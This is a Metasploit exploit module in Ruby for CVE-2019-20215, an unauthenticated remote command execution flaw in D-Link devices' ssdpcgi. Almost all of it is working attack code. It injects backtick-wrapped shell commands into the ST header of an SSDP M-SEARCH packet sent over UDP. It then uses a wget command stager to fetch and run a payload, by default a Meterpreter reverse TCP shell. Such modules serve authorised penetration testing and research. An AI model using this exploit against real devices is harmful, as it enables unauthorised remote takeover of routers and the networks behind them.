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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::CmdStager
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  include Msf::Module::Deprecated
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  deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
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      'Description' => %q{
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        D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
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      },
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      'Author'      =>
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        [
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          's1kr10s',
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          'secenv'
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        ],
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      'License'     => MSF_LICENSE,
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      'References'  =>
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        [
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          ['CVE', '2019-20215'],
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          ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
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        ],
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      'DisclosureDate' => '2019-12-24',
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      'Privileged'     => true,
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      'Platform'       => 'linux',
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      'Arch'        => ARCH_MIPSBE,
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      'DefaultOptions' =>
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        {
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            'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
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            'CMDSTAGER::FLAVOR' => 'wget',
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            'RPORT' => '1900'
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        },
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      'Targets'        =>
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        [
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          [ 'Auto',	{ } ],
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        ],
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      'CmdStagerFlavor' => %w{ echo wget },
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      'DefaultTarget'  => 0
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      ))
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  register_options(
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    [
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      Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
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    ])
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  end
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  def exploit
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    execute_cmdstager(linemax: 1500)
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  end
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  def execute_command(cmd, opts)
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    type = datastore['VECTOR']
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    if type == "URN"
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      print_status("Target Payload URN")
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      val = "urn:device:1;`#{cmd}`"
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    else
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      print_status("Target Payload UUID")
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      val = "uuid:`#{cmd}`"
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    end
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    connect_udp
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    header = "M-SEARCH * HTTP/1.1\r\n"
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    header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
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    header << "ST:#{val}\r\n"
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    header << "Man:\"ssdp:discover\"\r\n"
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    header << "MX:2\r\n\r\n"
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    udp_sock.put(header)
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    disconnect_udp
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  end
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end
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